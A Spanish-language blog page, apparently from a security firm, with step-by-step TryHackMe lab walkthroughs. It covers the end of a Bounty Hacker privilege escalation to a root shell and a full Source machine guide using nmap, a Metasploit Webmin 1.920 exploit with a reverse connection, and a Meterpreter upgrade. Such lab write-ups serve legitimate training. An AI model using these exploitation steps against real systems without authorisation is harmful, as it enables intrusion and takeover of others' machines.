Este comando creará un archivo de respaldo en /dev/null mientras ejecuta un shell (/bin/sh) con privilegios de root. Al ejecutar este comando, nos convertiremos en superusuario (root).
Paso 9: Búsqueda y obtención de banderas en Bounty Hacker TryHackMe
Una vez que tenemos privilegios de root, podemos buscar y obtener la siguiente bandera en la máquina comprometida.
Recuerda siempre actuar de acuerdo a las leyes y ética aplicables durante cualquier actividad de ciberseguridad y asegúrate de tener la autorización adecuada para realizar cualquier prueba en un sistema.
Confía en DCSeguridad
Si deseas obtener más información sobre ciberseguridad o necesitas asesoramiento profesional para proteger tus sistemas, te invitamos a contactar a nuestra empresa, DCSeguridad. Nuestro equipo de expertos en ciberseguridad está listo para ayudarte en cualquier desafío que enfrentes. También puedes unirte a nuestro canal de Telegram para recibir actualizaciones y consejos de seguridad.
¡Protege tu negocio y mantén tus sistemas seguros!
Manual de Pentesting para Principiantes Utilizando la Máquina Source TryHackMe. Máquina para empezar en el pentesting y en el uso de herramientas como nmap y metasploit
Parte 1: Preparación
Antes de comenzar con el pentesting en la máquina Source, es importante realizar algunas configuraciones iniciales.
Paso 1: Crear directorio de trabajo y editar el archivo de hosts Source TryHackMe
Descripción: Para organizar el proyecto, crearemos un directorio de trabajo y editaremos el archivo de hosts para asociar la dirección IP de la máquina objetivo con un nombre de dominio.
Comandos:
Crear directorio de trabajo: Abre una terminal y ejecuta el siguiente comando: mkdir directorio_trabajo
Editar archivo hosts: Ejecuta nano /etc/hosts para abrir el archivo hosts en el editor de texto.
Agregar la siguiente línea al archivo hosts: <ip_maquina> nombredominio (reemplaza <ip_maquina> con la dirección IP de la máquina objetivo y “nombredominio” con el nombre que desees asignar).
Parte 2: Escaneo y Reconocimiento de Source TryHackMe
El escaneo y reconocimiento son pasos fundamentales en un pentesting. Nos permiten obtener información sobre la máquina objetivo y los servicios que están en ejecución.
Paso 2: Realizar ping a la máquina y descubrir el TTL
Descripción: Realiza un ping a la dirección IP de la máquina objetivo para verificar que está en línea y obtener información como el TTL (Time To Live).
Comando: Abre una terminal y ejecuta el siguiente comando: ping -c 1 <ip_maquina>
TTL: El TTL obtenido en la respuesta del ping puede ayudarnos a identificar el sistema operativo de la máquina objetivo. Un TTL de 63 generalmente indica un sistema operativo Linux.
Paso 3: Hacer un primer escaneo con nmap en Source TryHackMe
Descripción: Realiza un escaneo de puertos básico utilizando nmap para identificar los servicios asociados a los puertos abiertos.
Comando: En la terminal, ejecuta: nmap -sVC -oN nmap_source <ip_maquina>
Servicios encontrados:
Puerto 22: El servicio asociado al puerto 22 es SSH (Secure Shell), que proporciona un acceso remoto seguro a la máquina.
Puerto 10000: Es posible que este puerto esté asociado a Webmin, un panel de administración web para sistemas Unix.
Parte 3: Escaneo Completo y Detección de Vulnerabilidades en Source TryHackMe
El siguiente paso es realizar un escaneo completo de puertos en la máquina objetivo y utilizar herramientas para detectar vulnerabilidades.
Paso 4: Escaneo completo de la máquina con nmap
Descripción: Realiza un escaneo completo de puertos en la máquina objetivo, identificando los servicios y versiones asociados a cada puerto. También utiliza scripts de detección de vulnerabilidades.
Comando: Ejecuta en la terminal: nmap -p 22,10000 -sCVS --min-rate 5000 -v -n -Pn <ip_maquina> -oN nmap_source_completo
Desglose de los comandos:
-p 22,10000: Escanea únicamente los puertos 22 y 10000.
-sCVS: Realiza un escaneo de versiones y scripts de detección de vulnerabilidades.
--min-rate 5000: Establece una tasa mínima de envío de paquetes para acelerar el escaneo.
-v: Activa el modo verboso para obtener más información detallada.
-n: Desactiva la resolución de nombres DNS.
-Pn: Ignora el descubrimiento de host y trata todas las direcciones como en línea.
-oN nmap_source_completo: Guarda los resultados en un archivo llamado “nmap_source_completo”.
Paso 5: Búsqueda de exploits para versiones vulnerables
Descripción: Busca exploits disponibles en Metasploit para las versiones específicas de OpenSSH (7.6p1) y Webmin (1.920).
Comandos en Metasploit:
Ejecuta msfconsole en la terminal para iniciar Metasploit.
Utiliza search webmin 1.920 para buscar exploits relacionados con Webmin 1.920.
Selecciona el exploit específico que deseas utilizar con el comando use X.
Utiliza options para ver y configurar las opciones del exploit seleccionado.
Establece la dirección IP de la máquina objetivo como objetivo del exploit con el comando set RHOSTS <ip_maquina>.
Establece la dirección IP de la interfaz “tun0” o la dirección IP de tu VPN como dirección de origen del exploit con el comando set LHOST tun0.
Habilita el uso de SSL en la comunicación con set SSL yes.
Ejecuta el exploit con el comando run y realiza el intento de explotación.
Parte 4: Mejora de la Shell y Exploración
Después de obtener acceso a la máquina objetivo, podemos mejorar la shell y explorar los directorios y archivos relevantes en busca de banderas o evidencias.
Paso 6: Mejora de la shell con Meterpreter
Descripción: Mejora la shell obtenida mediante el exploit utilizando Meterpreter para obtener capacidades avanzadas.
Comandos en Metasploit:
Presiona Ctrl + Z para poner en pausa Metasploit y acceder al shell.
Utiliza search shell_to_meterpreter para buscar una carga útil compatible con la mejora de shell a Meterpreter.
Selecciona la carga útil específica que deseas utilizar con el comando use 0.
Establece la sesión en la que se encuentra la shell para la mejora a Meterpreter con set SESSION 1.
Ejecuta la carga útil y realiza la mejora de shell con el comando run.
Para acceder a Meterpreter, utiliza el comando sessions 2.
Paso 7: Exploración y búsqueda de banderas
Descripción: Una vez obtenido el acceso a la máquina, explora los directorios y archivos relevantes para encontrar las banderas o evidencias requeridas.
¡Enhorabuena! Has realizado los pasos necesarios para escanear, identificar vulnerabilidades y obtener acceso a la máquina objetivo. Recuerda que este manual es con fines educativos y solo debe ser utilizado en sistemas y redes donde tengas autorización para realizar pruebas de penetración.
Resumen y Tipo de Máquina de Source TryHackMe
En este manual, hemos cubierto los pasos esenciales para realizar un pentesting en la máquina Source. Comenzamos preparando nuestro entorno de trabajo y editando el archivo de hosts para asociar la dirección IP de la máquina objetivo con un nombre de dominio.
Luego, realizamos un escaneo inicial utilizando nmap para identificar los servicios asociados a los puertos abiertos. Continuamos con un escaneo completo de la máquina objetivo, utilizando nmap para obtener información detallada sobre los servicios y versiones.
A continuación, exploramos la búsqueda de exploits para versiones vulnerables en Metasploit y utilizamos diferentes comandos para configurar y ejecutar un exploit específico.
Una vez obtenido el acceso a la máquina, mejoramos nuestra shell utilizando Meterpreter para obtener capacidades avanzadas y exploramos los directorios y archivos relevantes en busca de banderas o evidencias.
En resumen, hemos seguido una metodología de pentesting que abarca desde el escaneo y reconocimiento inicial hasta la explotación y la exploración de la máquina objetivo.
Confía en DCSeguridad
Si estás interesado en fortalecer la seguridad de tu empresa y proteger tu red contra posibles vulnerabilidades, te invitamos a contactar a DCSeguridad. Somos expertos en ciberseguridad y podemos ayudarte a evaluar y mejorar la seguridad de tu infraestructura. También te invitamos a unirte a nuestro canal de Telegram, donde compartimos información relevante sobre seguridad y te mantendremos al tanto de las últimas noticias y tendencias en el campo de la ciberseguridad.
¡No esperes más para proteger tu empresa! Contáctanos y fortalece tu seguridad hoy mismo.
Para ofrecer las mejores experiencias, utilizamos tecnologías como las cookies para almacenar y/o acceder a la información del dispositivo. El consentimiento de estas tecnologías nos permitirá procesar datos como el comportamiento de navegación o las identificaciones únicas en este sitio. No consentir o retirar el consentimiento, puede afectar negativamente a ciertas características y funciones.
Funcional
Siempre activo
El almacenamiento o acceso técnico es estrictamente necesario para el propósito legítimo de permitir el uso de un servicio específico explícitamente solicitado por el abonado o usuario, o con el único propósito de llevar a cabo la transmisión de una comunicación a través de una red de comunicaciones electrónicas.
Preferencias
El almacenamiento o acceso técnico es necesario para la finalidad legítima de almacenar preferencias no solicitadas por el abonado o usuario.
Estadísticas
El almacenamiento o acceso técnico que es utilizado exclusivamente con fines estadísticos.El almacenamiento o acceso técnico que se utiliza exclusivamente con fines estadísticos anónimos. Sin un requerimiento, el cumplimiento voluntario por parte de tu proveedor de servicios de Internet, o los registros adicionales de un tercero, la información almacenada o recuperada sólo para este propósito no se puede utilizar para identificarte.
Marketing
El almacenamiento o acceso técnico es necesario para crear perfiles de usuario para enviar publicidad, o para rastrear al usuario en una web o en varias web con fines de marketing similares.